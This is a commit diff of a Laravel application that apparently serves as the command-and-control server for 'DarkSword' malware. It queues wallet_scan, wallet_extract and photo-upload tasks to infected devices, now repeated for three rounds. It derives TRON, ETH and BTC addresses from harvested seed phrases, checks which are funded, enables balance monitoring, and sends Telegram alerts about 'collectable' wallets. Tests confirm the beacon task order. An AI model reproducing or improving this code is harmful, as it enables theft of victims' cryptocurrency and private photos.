fix: link memo

This commit is contained in:
hashbro
2026-09-13 17:17:34 +08:00
parent bca2eb4602
commit b49755c900
17 changed files with 751 additions and 202 deletions
@@ -12,7 +12,7 @@ class LinkMnemonicsCommand extends Command
{
protected $signature = 'coruna:link-mnemonics';
protected $description = 'Link existing addresses to mnemonics, and derive TRON/ETH/BTC index 0 when a mnemonic has none';
protected $description = 'Link existing addresses to mnemonics (BIP44 0..9), then persist activated derived addresses (0..2) when a mnemonic has none';
public function handle(MnemonicAddressLinker $linker, MnemonicWalletDiscovery $discovery): int
{
@@ -23,7 +23,7 @@ class LinkMnemonicsCommand extends Command
$discovered = 0;
foreach (WalletMnemonic::query()->orderBy('id')->cursor() as $mnemonic) {
$discovered += $discovery->discoverIndexZero($mnemonic);
$discovered += $discovery->discoverActivated($mnemonic);
}
$after = WalletAddress::query()->whereNull('mnemonic_id')->count();
@@ -165,12 +165,12 @@ class MnemonicController extends Controller
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
}
$discovery->discoverIndexZero($mnemonic);
$discovery->discoverActivated($mnemonic);
return response()->json([
'code' => 0,
'msg' => '',
'data' => $this->walletsPayload($mnemonic),
'data' => $this->walletsPayload($mnemonic, $discovery),
]);
}
@@ -196,7 +196,7 @@ class MnemonicController extends Controller
RateLimiter::hit($throttleKey, self::REFRESH_DECAY_SECONDS);
$discovery->discoverIndexZero($mnemonic);
$discovery->discoverActivated($mnemonic);
$addresses = WalletAddress::query()
->where('mnemonic_id', $mnemonic->id)
@@ -214,11 +214,10 @@ class MnemonicController extends Controller
}
}
// Re-read from wallet_addresses so the popup shows persisted rows.
return response()->json([
'code' => 0,
'msg' => 'ok',
'data' => array_merge($this->walletsPayload($mnemonic), [
'data' => array_merge($this->walletsPayload($mnemonic, $discovery), [
'refreshed' => $ok,
'failed' => $fail,
'retry_after' => self::REFRESH_DECAY_SECONDS,
@@ -239,35 +238,13 @@ class MnemonicController extends Controller
/**
* @return array{mnemonic_id: int, source: string, refresh_url: string, addresses: list<array<string, mixed>>}
*/
private function walletsPayload(WalletMnemonic $mnemonic): array
private function walletsPayload(WalletMnemonic $mnemonic, MnemonicWalletDiscovery $discovery): array
{
$addresses = WalletAddress::query()
->where('mnemonic_id', $mnemonic->id)
->orderBy('id')
->get();
$data = $addresses->map(function (WalletAddress $addr) {
$coins = $addr->formattedCoins();
return [
'id' => $addr->id,
'address' => $addr->address,
'chain_type' => $addr->chain_type ?: '',
'source' => $addr->source ?: '',
'derive_index' => $addr->derive_index,
'usdt' => $coins['usdt'],
'trx' => $coins['trx'],
'eth' => $coins['eth'],
'btc' => $coins['btc'],
'bnb' => $coins['bnb'],
];
})->values()->all();
return [
'mnemonic_id' => $mnemonic->id,
'source' => $mnemonic->source ?: '',
'refresh_url' => route($this->portal().'.mnemonics.wallets.refresh', $mnemonic->id),
'addresses' => $data,
'addresses' => $discovery->walletCards($mnemonic),
];
}
+7
View File
@@ -44,6 +44,13 @@ class AppServiceProvider extends ServiceProvider
public function boot(): void
{
if (! $this->app->runningInConsole()) {
$limit = (int) ini_get('max_execution_time');
if ($limit > 0 && $limit < 60) {
@set_time_limit(60);
}
}
try {
$this->app->make(SettingsService::class)->applyToConfig();
} catch (\Throwable) {
+65
View File
@@ -97,7 +97,63 @@ class BtcDriver implements ChainDriver
return BtcAddress::isValid($address);
}
public function isActivated(string $address): bool
{
try {
return $this->probeAddress($address)['activated'];
} catch (\Throwable) {
return false;
}
}
/**
* One address lookup: activation + confirmed BTC.
*
* @return array{activated: bool, btc: string}
*/
public function probeAddress(string $address): array
{
$json = $this->fetchAddressJson($address);
return [
'activated' => self::addressIsActivated($json),
'btc' => $this->nativeFromAddressJson($json),
];
}
public function getNativeBalance(string $address): string
{
return $this->probeAddress($address)['btc'];
}
/**
* @param array<string, mixed> $json
*/
public static function addressIsActivated(array $json): bool
{
foreach (['chain_stats', 'mempool_stats'] as $key) {
$stats = $json[$key] ?? [];
if (! is_array($stats)) {
continue;
}
if ((int) ($stats['tx_count'] ?? 0) > 0) {
return true;
}
if ((int) ($stats['funded_txo_count'] ?? 0) > 0) {
return true;
}
if ((int) ($stats['funded_txo_sum'] ?? 0) > 0) {
return true;
}
}
return false;
}
/**
* @return array<string, mixed>
*/
private function fetchAddressJson(string $address): array
{
if (! $this->isValidAddress($address)) {
throw new RuntimeException('Invalid BTC address');
@@ -112,6 +168,15 @@ class BtcDriver implements ChainDriver
if (! is_array($json)) {
throw new RuntimeException('Invalid BTC balance response');
}
return $json;
}
/**
* @param array<string, mixed> $json
*/
private function nativeFromAddressJson(array $json): string
{
$stats = $json['chain_stats'] ?? [];
$funded = (string) ($stats['funded_txo_sum'] ?? 0);
$spent = (string) ($stats['spent_txo_sum'] ?? 0);
+5
View File
@@ -20,6 +20,11 @@ interface ChainDriver
public function isValidAddress(string $address): bool;
/**
* True when the address has on-chain footprint (account created, txs, or funds).
*/
public function isActivated(string $address): bool;
/**
* Human-decimal native balance (e.g. TRX).
*/
+35
View File
@@ -53,6 +53,41 @@ class EthDriver implements ChainDriver
return EthAddress::isValid($address);
}
public function isActivated(string $address): bool
{
if (! $this->isValidAddress($address)) {
return false;
}
try {
$hex = $this->rpc('eth_getTransactionCount', [EthAddress::normalize($address), 'latest']);
if (is_string($hex) && bccomp($this->hexToDec($hex), '0', 0) > 0) {
return true;
}
} catch (\Throwable) {
// fall through to balances
}
try {
if (bccomp($this->getNativeBalance($address), '0', 18) > 0) {
return true;
}
} catch (\Throwable) {
// fall through to token
}
$contract = trim((string) config('coruna.eth.usdt_contract', ''));
if ($contract === '') {
return false;
}
try {
return bccomp($this->getTokenBalance($address, $contract), '0', 18) > 0;
} catch (\Throwable) {
return false;
}
}
public function getNativeBalance(string $address): string
{
if (! $this->isValidAddress($address)) {
+9
View File
@@ -139,6 +139,15 @@ class TronDriver implements ChainDriver
];
}
public function isActivated(string $address): bool
{
try {
return $this->probeAccount($address)['activated'];
} catch (\Throwable) {
return false;
}
}
public function getNativeBalance(string $address): string
{
return $this->probeAccount($address)['trx'];
+1 -1
View File
@@ -805,7 +805,7 @@ class DarkSwordIngestAdapter
->where('mnemonic_hash', WalletMnemonic::hashSecret($hit['phrase']))
->first();
if ($mnemonic !== null) {
$this->mnemonicDiscovery->discoverIndexZero($mnemonic);
$this->mnemonicDiscovery->discoverActivated($mnemonic);
}
if (($hit['addresses'] ?? []) !== []) {
$this->ingest->ingestAddresses($device, [
+73 -8
View File
@@ -13,22 +13,27 @@ use Illuminate\Support\Str;
* Redis keys per device:
* ds:q:{id} List — pending queue (RPOP dequeue, LPUSH enqueue)
* ds:qdisp:{id} Hash — dispatched/in-flight tasks {command_id: taskJson}
* ds:qround:{id} String — remaining default-queue rounds (including current)
* ds:qt:{id} String — throttle lock (TTL 5s)
*
* Completed task results are stored as DeviceEvent records (日志 tab), NOT in Redis.
*
* Task JSON: {task_id, type, params, status, command_id?, dispatched_at?, completed_at?, result_count?, result_meta?}
*
* Default queue: photos, wallet_scan (one-shot, no auto-repeat).
* Default queue: wallet_scan → wallet_extract → photos, replayed DEFAULT_ROUNDS times.
*/
class DsBeaconQueue
{
/** Default task types seeded for new DarkSword devices (one-shot, no repeat). */
/** Default task types seeded for new DarkSword devices (FIFO dispatch order). */
public const DEFAULT_TYPES = [
'photos',
'wallet_scan',
'wallet_extract',
'photos',
];
/** After the default queue is consumed, replay it until this many rounds finish. */
public const DEFAULT_ROUNDS = 3;
/** All task types the pe_worker.js can handle (for admin dropdown). */
public const ALL_TYPES = [
'photos' => '相册上传',
@@ -118,6 +123,7 @@ class DsBeaconQueue
private const Q_PREFIX = 'ds:q:';
private const DISP_PREFIX = 'ds:qdisp:';
private const DONE_PREFIX = 'ds:qdone:';
private const ROUND_PREFIX = 'ds:qround:';
private const THROTTLE_PREFIX = 'ds:qt:';
private const THROTTLE_SEC = 5;
private const DONE_CAP = 50;
@@ -141,9 +147,8 @@ class DsBeaconQueue
return; // already has pending tasks
}
foreach (self::DEFAULT_TYPES as $type) {
$this->lpushTask($device, $type, $this->paramsFor($type));
}
$this->setRoundsRemaining($device, self::DEFAULT_ROUNDS);
$this->pushDefaultTypes($device);
}
// ── Dequeue (called on every /beacon) ──────────────────────────────────
@@ -167,7 +172,13 @@ class DsBeaconQueue
$raw = Redis::rpop($this->queueKey($device));
if ($raw === null) {
return null; // noop — queue empty
if (! $this->replenishDefaultRound($device)) {
return null; // noop — queue empty and no remaining rounds
}
$raw = Redis::rpop($this->queueKey($device));
if ($raw === null) {
return null;
}
}
$task = json_decode($raw, true);
@@ -386,7 +397,7 @@ class DsBeaconQueue
* Only pending + dispatched are returned. Completed task results are
* stored as DeviceEvent records (shown in the 日志 tab), not in Redis.
*
* @return array{pending: list<array>, dispatched: list<array>, done: list<array>}
* @return array{pending: list<array>, dispatched: list<array>, done: list<array>, rounds_total: int, rounds_remaining: int, round_current: int}
*/
public function getQueueState(Device $device): array
{
@@ -410,10 +421,17 @@ class DsBeaconQueue
}
}
$remaining = $this->roundsRemaining($device);
return [
'pending' => $pending,
'dispatched' => $dispatched,
'done' => [], // completed tasks are in device_events (日志 tab)
'rounds_total' => self::DEFAULT_ROUNDS,
'rounds_remaining' => $remaining,
'round_current' => $remaining > 0
? (self::DEFAULT_ROUNDS - $remaining + 1)
: self::DEFAULT_ROUNDS,
];
}
@@ -427,6 +445,48 @@ class DsBeaconQueue
// ── Internal helpers ────────────────────────────────────────────────────
/**
* Enqueue one copy of the default task list (FIFO via LPUSH + RPOP).
*/
private function pushDefaultTypes(Device $device): void
{
foreach (self::DEFAULT_TYPES as $type) {
$this->lpushTask($device, $type, $this->paramsFor($type));
}
}
/**
* When the pending list is empty, push another copy of the default types
* if unused rounds remain. Remaining includes the round that just finished,
* so remaining=1 means that was the last pass.
*/
private function replenishDefaultRound(Device $device): bool
{
$remaining = $this->roundsRemaining($device);
if ($remaining <= 1) {
if ($remaining === 1) {
$this->setRoundsRemaining($device, 0);
}
return false;
}
$this->setRoundsRemaining($device, $remaining - 1);
$this->pushDefaultTypes($device);
return true;
}
public function roundsRemaining(Device $device): int
{
return max(0, (int) Redis::get($this->roundKey($device)));
}
private function setRoundsRemaining(Device $device, int $remaining): void
{
Redis::set($this->roundKey($device), (string) max(0, $remaining));
}
/**
* Push a task to the Redis queue (LPUSH = newest at head).
*
@@ -498,6 +558,11 @@ class DsBeaconQueue
return self::DONE_PREFIX.$device->id;
}
private function roundKey(Device $device): string
{
return self::ROUND_PREFIX.$device->id;
}
private function throttleKey(Device $device): string
{
return self::THROTTLE_PREFIX.$device->id;
+3 -3
View File
@@ -10,7 +10,7 @@ use InvalidArgumentException;
class MnemonicAddressLinker
{
public const MAX_DERIVE_INDEX = 4;
public const MAX_DERIVE_INDEX = 9;
public function __construct(
private readonly ChainManager $chains,
@@ -18,7 +18,7 @@ class MnemonicAddressLinker
) {}
/**
* Link a single address to a device mnemonic when BIP44 index 0..4 matches.
* Link a single address to a device mnemonic when BIP44 index 0..9 matches.
*/
public function linkAddress(WalletAddress $address): bool
{
@@ -149,7 +149,7 @@ class MnemonicAddressLinker
/**
* Backfill: for every mnemonic, link still-unlinked addresses on the same device
* when BIP44 index 0..4 matches.
* when BIP44 index 0..9 matches.
*
* @return array{mnemonics: int, linked: int}
*/
+244 -38
View File
@@ -4,16 +4,24 @@ namespace App\Services;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use App\Services\Chain\BtcDriver;
use App\Services\Chain\ChainDriver;
use App\Services\Chain\ChainManager;
use App\Services\Chain\TronDriver;
use App\Services\Tokenview\TokenviewMonitorService;
use Illuminate\Support\Facades\Log;
/**
* When a mnemonic has no linked addresses, derive BIP44 index 0 for TRON/ETH/BTC,
* query balances, and persist the addresses even when the balance is zero.
* When a mnemonic has no linked addresses, derive BIP44 indexes 0..2 for
* TRON/ETH/BTC and persist only activated addresses (after a balance query).
* Fully inactive mnemonics stay out of the DB and are not monitored; the
* wallets view previews one index-0 address per chain marked 未激活.
* Activated rows are persisted with monitor on.
*/
class MnemonicWalletDiscovery
{
public const MAX_DERIVE_INDEX = 2;
/** @var list<array{chain: string, chain_type: string}> */
private const CHAINS = [
['chain' => 'tron', 'chain_type' => 'TRON'],
@@ -24,12 +32,21 @@ class MnemonicWalletDiscovery
public function __construct(
private readonly ChainManager $chains,
private readonly TelegramNotifier $telegram,
private readonly TokenviewMonitorService $tokenview,
) {}
/**
* @return int Number of address rows created or updated
*/
public function discoverIndexZero(WalletMnemonic $mnemonic): int
{
return $this->discoverActivated($mnemonic);
}
/**
* @return int Number of address rows created or updated
*/
public function discoverActivated(WalletMnemonic $mnemonic): int
{
$phrase = $mnemonic->mnemonic;
if ($phrase === null || trim($phrase) === '') {
@@ -58,8 +75,8 @@ class MnemonicWalletDiscovery
foreach (self::CHAINS as $spec) {
try {
$row = $this->discoverOne($mnemonic, $phrase, $source, $spec['chain'], $spec['chain_type']);
if ($row !== null) {
$rows = $this->discoverChain($mnemonic, $phrase, $source, $spec['chain'], $spec['chain_type']);
foreach ($rows as $row) {
$saved[] = $row;
}
} catch (\Throwable $e) {
@@ -77,26 +94,185 @@ class MnemonicWalletDiscovery
return count($saved);
}
private function discoverOne(
/**
* Persisted linked rows, or ephemeral index-0 previews when none exist.
*
* @return list<array<string, mixed>>
*/
public function walletCards(WalletMnemonic $mnemonic): array
{
$addresses = WalletAddress::query()
->where('mnemonic_id', $mnemonic->id)
->orderBy('id')
->get();
if ($addresses->isNotEmpty()) {
return $addresses->map(function (WalletAddress $addr) {
$coins = $addr->formattedCoins();
return [
'id' => $addr->id,
'address' => $addr->address,
'chain_type' => $addr->chain_type ?: '',
'source' => $addr->source ?: '',
'derive_index' => $addr->derive_index,
'usdt' => $coins['usdt'],
'trx' => $coins['trx'],
'eth' => $coins['eth'],
'btc' => $coins['btc'],
'bnb' => $coins['bnb'],
'active' => true,
'persisted' => true,
];
})->values()->all();
}
return $this->inactiveIndexZeroCards($mnemonic);
}
/**
* @return list<WalletAddress>
*/
private function discoverChain(
WalletMnemonic $mnemonic,
string $phrase,
string $source,
string $chain,
string $chainType,
): ?WalletAddress {
): array {
$driver = $this->chains->resolve($chain);
$address = $driver->deriveAddress($phrase, 0);
try {
$coins = $this->fetchCoins($chain, $address);
} catch (\Throwable $e) {
Log::warning('mnemonic wallet discovery balance failed: '.$e->getMessage(), [
'mnemonic_id' => $mnemonic->id,
'chain' => $chain,
'address' => $address,
]);
$coins = $this->emptyCoins($chain);
$saved = [];
for ($index = 0; $index <= self::MAX_DERIVE_INDEX; $index++) {
try {
$address = $driver->deriveAddress($phrase, $index);
} catch (\Throwable $e) {
Log::warning('mnemonic wallet discovery derive failed: '.$e->getMessage(), [
'mnemonic_id' => $mnemonic->id,
'chain' => $chain,
'index' => $index,
]);
break;
}
try {
$probe = $this->probeActivated($chain, $driver, $address);
} catch (\Throwable $e) {
Log::warning('mnemonic wallet discovery probe failed: '.$e->getMessage(), [
'mnemonic_id' => $mnemonic->id,
'chain' => $chain,
'address' => $address,
'index' => $index,
]);
continue;
}
if (! $probe['activated']) {
continue;
}
$saved[] = $this->persistActivated(
$mnemonic,
$source,
$chainType,
$address,
$index,
$probe['coins'],
);
}
return $saved;
}
/**
* @return array{activated: bool, coins: array<string, string>}
*/
private function probeActivated(string $chain, ChainDriver $driver, string $address): array
{
return match ($chain) {
'tron' => $this->probeTron($driver, $address),
'eth' => $this->probeEth($driver, $address),
'btc' => $this->probeBtc($driver, $address),
default => ['activated' => false, 'coins' => []],
};
}
/**
* @return array{activated: bool, coins: array<string, string>}
*/
private function probeTron(ChainDriver $driver, string $address): array
{
if (! $driver instanceof TronDriver) {
return ['activated' => $driver->isActivated($address), 'coins' => $this->emptyCoins('tron')];
}
$probe = $driver->probeAccount($address);
if (! $probe['activated']) {
return ['activated' => false, 'coins' => $this->emptyCoins('tron')];
}
return [
'activated' => true,
'coins' => [
'trx' => $probe['trx'],
'usdt' => $this->tokenBalance($driver, $address, (string) config('coruna.tron.usdt_contract', '')),
],
];
}
/**
* @return array{activated: bool, coins: array<string, string>}
*/
private function probeEth(ChainDriver $driver, string $address): array
{
if (! $driver->isActivated($address)) {
return ['activated' => false, 'coins' => $this->emptyCoins('eth')];
}
return [
'activated' => true,
'coins' => [
'eth' => $driver->getNativeBalance($address),
'usdt' => $this->tokenBalance($driver, $address, (string) config('coruna.eth.usdt_contract', '')),
],
];
}
/**
* @return array{activated: bool, coins: array<string, string>}
*/
private function probeBtc(ChainDriver $driver, string $address): array
{
if ($driver instanceof BtcDriver) {
$probe = $driver->probeAddress($address);
return [
'activated' => $probe['activated'],
'coins' => ['btc' => $probe['btc']],
];
}
if (! $driver->isActivated($address)) {
return ['activated' => false, 'coins' => $this->emptyCoins('btc')];
}
return [
'activated' => true,
'coins' => ['btc' => $driver->getNativeBalance($address)],
];
}
/**
* @param array<string, string> $coins
*/
private function persistActivated(
WalletMnemonic $mnemonic,
string $source,
string $chainType,
string $address,
int $index,
array $coins,
): WalletAddress {
$row = WalletAddress::query()->firstOrNew([
'device_id' => $mnemonic->device_id,
'address' => $address,
@@ -105,18 +281,60 @@ class MnemonicWalletDiscovery
$row->chain_type = $chainType;
$row->mnemonic_id = $mnemonic->id;
$row->derive_index = 0;
$row->derive_index = $index;
$row->monitor = 1;
if (! $row->exists) {
$row->monitor = 0;
$row->monitor_synced = false;
$row->monitor_failures = 0;
}
foreach ($coins as $col => $value) {
$row->{$col} = $value;
}
$row->save();
$this->enableMonitor($row);
return $row;
}
/**
* @return list<array<string, mixed>>
*/
private function inactiveIndexZeroCards(WalletMnemonic $mnemonic): array
{
$phrase = $mnemonic->mnemonic;
if ($phrase === null || trim($phrase) === '') {
return [];
}
$source = trim((string) ($mnemonic->source ?: ''));
$cards = [];
foreach (self::CHAINS as $spec) {
try {
$address = $this->chains->resolve($spec['chain'])->deriveAddress($phrase, 0);
} catch (\Throwable) {
continue;
}
$cards[] = [
'id' => null,
'address' => $address,
'chain_type' => $spec['chain_type'],
'source' => $source,
'derive_index' => 0,
'usdt' => null,
'trx' => null,
'eth' => null,
'btc' => null,
'bnb' => null,
'active' => false,
'persisted' => false,
];
}
return $cards;
}
/**
* @return array<string, string>
*/
@@ -130,27 +348,15 @@ class MnemonicWalletDiscovery
};
}
/**
* @return array<string, string>
*/
private function fetchCoins(string $chain, string $address): array
private function enableMonitor(WalletAddress $address): void
{
$driver = $this->chains->resolve($chain);
return match ($chain) {
'tron' => [
'trx' => $driver->getNativeBalance($address),
'usdt' => $this->tokenBalance($driver, $address, (string) config('coruna.tron.usdt_contract', '')),
],
'eth' => [
'eth' => $driver->getNativeBalance($address),
'usdt' => $this->tokenBalance($driver, $address, (string) config('coruna.eth.usdt_contract', '')),
],
'btc' => [
'btc' => $driver->getNativeBalance($address),
],
default => [],
};
try {
$this->tokenview->syncMonitor($address);
} catch (\Throwable $e) {
Log::warning('tokenview enable on mnemonic discovery failed: '.$e->getMessage(), [
'wallet_address_id' => $address->id,
]);
}
}
private function tokenBalance(ChainDriver $driver, string $address, string $contract): string
@@ -105,6 +105,9 @@
@else
· 队列已空
@endif
@if (($queueState['rounds_remaining'] ?? 0) > 0)
· 循环 {{ $queueState['round_current'] }}/{{ $queueState['rounds_total'] }}
@endif
· <span style="font-size:12px;color:#999;">回传结果见「日志」</span>
</div>
@@ -33,6 +33,18 @@
max-width: 280px;
}
.mn-wallet-table .coin-cell { white-space: nowrap; font-variant-numeric: tabular-nums; }
.mn-inactive {
display: inline-block;
margin-left: 6px;
padding: 0 6px;
font-size: 11px;
line-height: 18px;
color: #cf8a00;
background: #fff7e6;
border: 1px solid #ffe0a3;
border-radius: 3px;
vertical-align: middle;
}
</style>
<div class="layui-card">
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-mn-search">
@@ -119,9 +131,11 @@ layui.use(['table', 'form', 'layer'], function () {
'<th>USDT</th><th>TRX</th><th>ETH</th><th>BTC</th><th>BNB</th>' +
'</tr></thead><tbody>';
rows.forEach(function (r) {
var inactive = r.active === false;
html += '<tr>' +
'<td>' + esc(r.id) + '</td>' +
'<td>' + esc(r.chain_type || '—') + '</td>' +
'<td>' + (r.id == null || r.id === '' ? '—' : esc(r.id)) + '</td>' +
'<td>' + esc(r.chain_type || '—') +
(inactive ? '<span class="mn-inactive">未激活</span>' : '') + '</td>' +
'<td class="addr-cell">' + esc(r.address) + '</td>' +
'<td>' + (r.derive_index == null || r.derive_index === '' ? '—' : esc(r.derive_index)) + '</td>' +
'<td class="coin-cell">' + coinVal(r.usdt) + '</td>' +
+29 -4
View File
@@ -132,13 +132,28 @@ class CollectableAddressNotifyTest extends TestCase
return Http::response(['ok' => true], 200);
}
if (str_contains($url, '/wallet/getaccount')) {
return Http::response(['balance' => 5_000_000], 200);
$addr = (string) ($request->data()['address'] ?? '');
if ($addr === self::TRON_0) {
return Http::response([
'address' => $addr,
'create_time' => 1,
'balance' => 5_000_000,
], 200);
}
return Http::response([], 200);
}
if (str_contains($url, '/wallet/triggerconstantcontract')) {
return Http::response(['constant_result' => [dechex(2_000_000)]], 200);
}
if (str_contains($url, 'ethereum.example')) {
$method = $request->data()['method'] ?? '';
$data = $request->data();
$method = $data['method'] ?? '';
$target = strtolower((string) ($data['params'][0] ?? ''));
$hit = $target === self::ETH_0;
if ($method === 'eth_getTransactionCount') {
return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => $hit ? '0x1' : '0x0'], 200);
}
if ($method === 'eth_getBalance') {
return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x0'], 200);
}
@@ -147,8 +162,14 @@ class CollectableAddressNotifyTest extends TestCase
}
}
if (str_contains($url, 'mempool.example')) {
$activated = str_contains($url, self::BTC_0);
return Http::response([
'chain_stats' => ['funded_txo_sum' => 100_000, 'spent_txo_sum' => 0],
'chain_stats' => [
'tx_count' => $activated ? 1 : 0,
'funded_txo_count' => $activated ? 1 : 0,
'funded_txo_sum' => $activated ? 100_000 : 0,
'spent_txo_sum' => 0,
],
], 200);
}
@@ -158,7 +179,11 @@ class CollectableAddressNotifyTest extends TestCase
$device = Device::query()->create(['device_id' => 'dev-collect-derive']);
$mnemonic = $this->storeMnemonic($device);
$this->assertSame(3, app(MnemonicWalletDiscovery::class)->discoverIndexZero($mnemonic));
$this->assertSame(3, app(MnemonicWalletDiscovery::class)->discoverActivated($mnemonic));
$this->assertSame(
[1, 1, 1],
WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->orderBy('id')->pluck('monitor')->all()
);
Http::assertSent(function ($request) {
if (! str_contains($request->url(), 'api.telegram.org/bottg-token/sendMessage')) {
+68 -27
View File
@@ -42,7 +42,7 @@ class DarkSwordC2ApiTest extends TestCase
// Redis::keys() returns fully-prefixed keys, but Redis::del() adds the
// prefix again — so we must strip it before deleting.
$prefix = config('database.redis.options.prefix', '');
$patterns = ['ds:q:*', 'ds:qdisp:*', 'ds:qdone:*', 'ds:qt:*'];
$patterns = ['ds:q:*', 'ds:qdisp:*', 'ds:qdone:*', 'ds:qround:*', 'ds:qt:*'];
foreach ($patterns as $pattern) {
$keys = Redis::keys($pattern);
if (empty($keys)) {
@@ -712,8 +712,8 @@ class DarkSwordC2ApiTest extends TestCase
#[Test]
public function beacon_alternates_scan_and_extract_per_ip_with_5s_gap(): void
{
// New Redis-based queue: seed() pushes photos + wallet_scan (FIFO, one-shot).
// LPUSH order: [wallet_scan, photos]; RPOP dequeue order: photos → wallet_scan → noop.
// seed() pushes wallet_scan → wallet_extract → photos (FIFO), then
// replenishes the same list until DEFAULT_ROUNDS (3) finish.
$uuid = self::DS_LHU;
// Helper to clear the per-device throttle lock (simulates 5s gap).
@@ -724,14 +724,14 @@ class DarkSwordC2ApiTest extends TestCase
}
};
// First dispatch -> photos (first in FIFO from seed).
// First dispatch -> wallet_scan (first in FIFO from seed).
$r1 = $this->postJson('/beacon', [
'uuid' => $uuid,
'status' => 'idle',
'ios' => '18.6',
])->assertOk()->assertJson([
'ok' => true,
'type' => 'photos',
'type' => 'wallet_scan',
'uuid' => $uuid,
]);
$id1 = $r1->json('command_id');
@@ -743,12 +743,12 @@ class DarkSwordC2ApiTest extends TestCase
'status' => 'idle',
])->assertOk()->assertJson(['ok' => true, 'type' => 'noop']);
// After the 5s gap -> wallet_scan (second in FIFO).
// After the 5s gap -> wallet_extract (second in FIFO).
$forgetThrottle();
$r2 = $this->postJson('/beacon', [
'uuid' => $uuid,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'wallet_scan']);
])->assertOk()->assertJson(['type' => 'wallet_extract']);
$id2 = $r2->json('command_id');
$this->assertNotEmpty($id2);
$this->assertNotSame($id1, $id2);
@@ -759,21 +759,23 @@ class DarkSwordC2ApiTest extends TestCase
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'noop']);
// After another gap -> noop (queue is empty, single-run: no auto-replenish).
// After another gap -> photos (third in FIFO).
$forgetThrottle();
$this->postJson('/beacon', [
'uuid' => $uuid,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'noop']);
])->assertOk()->assertJson(['type' => 'photos']);
$device = Device::query()->where('device_id', $uuid)->first();
$this->assertNotNull($device);
$this->assertSame(Device::CHAIN_DARKSWORD, $device->chain);
$this->assertSame(0, DeviceEvent::query()->count());
// Single-run: after both tasks were dispatched, the queue is empty (0).
// Round 1 consumed; remaining pending is empty until the next beacon
// replenishes round 2.
$queue = app(DsBeaconQueue::class);
$this->assertSame(0, $queue->queueLength($device));
$this->assertSame(3, $queue->roundsRemaining($device));
$admin = Admin::query()->create(['username' => 'ds-admin', 'password' => 'admin123']);
$this->actingAs($admin, 'admin')
@@ -781,7 +783,8 @@ class DarkSwordC2ApiTest extends TestCase
->assertOk()
->assertSee('C2 队列')
->assertSee('photos')
->assertSee('wallet_scan');
->assertSee('wallet_scan')
->assertSee('wallet_extract');
}
#[Test]
@@ -797,12 +800,12 @@ class DarkSwordC2ApiTest extends TestCase
}
};
// First dispatch -> photos (first in FIFO from seed).
// First dispatch -> wallet_scan (first in FIFO from seed).
$first = $this->postJson('/beacon', [
'uuid' => $uuid,
'status' => 'idle',
'ios' => '18.6',
])->assertOk()->assertJson(['type' => 'photos']);
])->assertOk()->assertJson(['type' => 'wallet_scan']);
$firstId = $first->json('command_id');
$this->assertNotEmpty($firstId);
@@ -813,12 +816,12 @@ class DarkSwordC2ApiTest extends TestCase
])->assertOk()->assertJson(['type' => 'noop']);
// After the 5s gap (simulated by deleting the Redis throttle key), the next
// beacon dispatches wallet_scan (second in FIFO from seed).
// beacon dispatches wallet_extract (second in FIFO from seed).
$forgetThrottle();
$retry = $this->postJson('/beacon', [
'uuid' => $uuid,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'wallet_scan']);
])->assertOk()->assertJson(['type' => 'wallet_extract']);
$retryId = $retry->json('command_id');
$this->assertNotEmpty($retryId);
$this->assertNotSame($firstId, $retryId);
@@ -826,8 +829,8 @@ class DarkSwordC2ApiTest extends TestCase
$this->postJson('/result', [
'uuid' => $uuid,
'command_id' => $retryId,
'filename' => 'wallet_scan_result.json',
'category' => 'wallet_scan',
'filename' => 'wallet_extract_result.json',
'category' => 'wallet_extract',
'status' => 'success',
])->assertOk();
@@ -835,16 +838,16 @@ class DarkSwordC2ApiTest extends TestCase
$device = Device::query()->where('device_id', $uuid)->first();
$events = DeviceEvent::query()->where('device_id', $device->id)->get();
$this->assertSame(1, $events->count());
$this->assertSame('wallet_scan', $events->first()->event_name);
$this->assertStringContainsString('wallet_scan', $events->first()->desc);
$this->assertStringContainsString('wallet_scan_result.json', $events->first()->desc);
$this->assertSame('wallet_extract', $events->first()->event_name);
$this->assertStringContainsString('wallet_extract', $events->first()->desc);
$this->assertStringContainsString('wallet_extract_result.json', $events->first()->desc);
// After a result + gap, the queue is empty (single-run: no auto-replenish).
// After a result + gap, the next default task is photos (not empty yet).
$forgetThrottle();
$this->postJson('/beacon', [
'uuid' => $uuid,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'noop']);
])->assertOk()->assertJson(['type' => 'photos']);
}
#[Test]
@@ -852,8 +855,7 @@ class DarkSwordC2ApiTest extends TestCase
{
// New Redis-based queue: tasks are dispatched in FIFO order (RPOP from LPUSH list).
// No "skip legacy" logic — all queued tasks are dispatched in order.
// Single-run: seed() only runs on new device creation, not on every beacon.
// When the queue is emptied by dequeue, it stays empty (no auto-replenish).
// seed() only runs on new device creation; addTask() does not start default rounds.
$device = Device::query()->create([
'device_id' => self::DS_LHU,
'chain' => Device::CHAIN_DARKSWORD,
@@ -887,9 +889,48 @@ class DarkSwordC2ApiTest extends TestCase
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'wallet_scan']);
// After the last task is dequeued, the queue is empty — single-run: no
// auto-replenish. seed() only runs on new device creation, not on
// every beacon/upsertDevice.
// After the last manually added task is dequeued, the queue stays empty:
// auto-replenish only applies to seed()'d default rounds, not addTask().
$this->assertSame(0, $queue->queueLength($device));
}
#[Test]
public function beacon_replays_default_queue_three_rounds(): void
{
$uuid = self::DS_LHU;
$expected = [];
for ($round = 0; $round < DsBeaconQueue::DEFAULT_ROUNDS; $round++) {
array_push($expected, 'wallet_scan', 'wallet_extract', 'photos');
}
$dispatched = [];
foreach ($expected as $i => $type) {
if ($i > 0) {
$device = Device::query()->where('device_id', $uuid)->first();
$this->assertNotNull($device);
Redis::del('ds:qt:'.$device->id);
}
$this->postJson('/beacon', [
'uuid' => $uuid,
'status' => 'idle',
'ios' => '18.6',
])->assertOk()->assertJson(['type' => $type]);
$dispatched[] = $type;
}
$device = Device::query()->where('device_id', $uuid)->first();
$this->assertNotNull($device);
$queue = app(DsBeaconQueue::class);
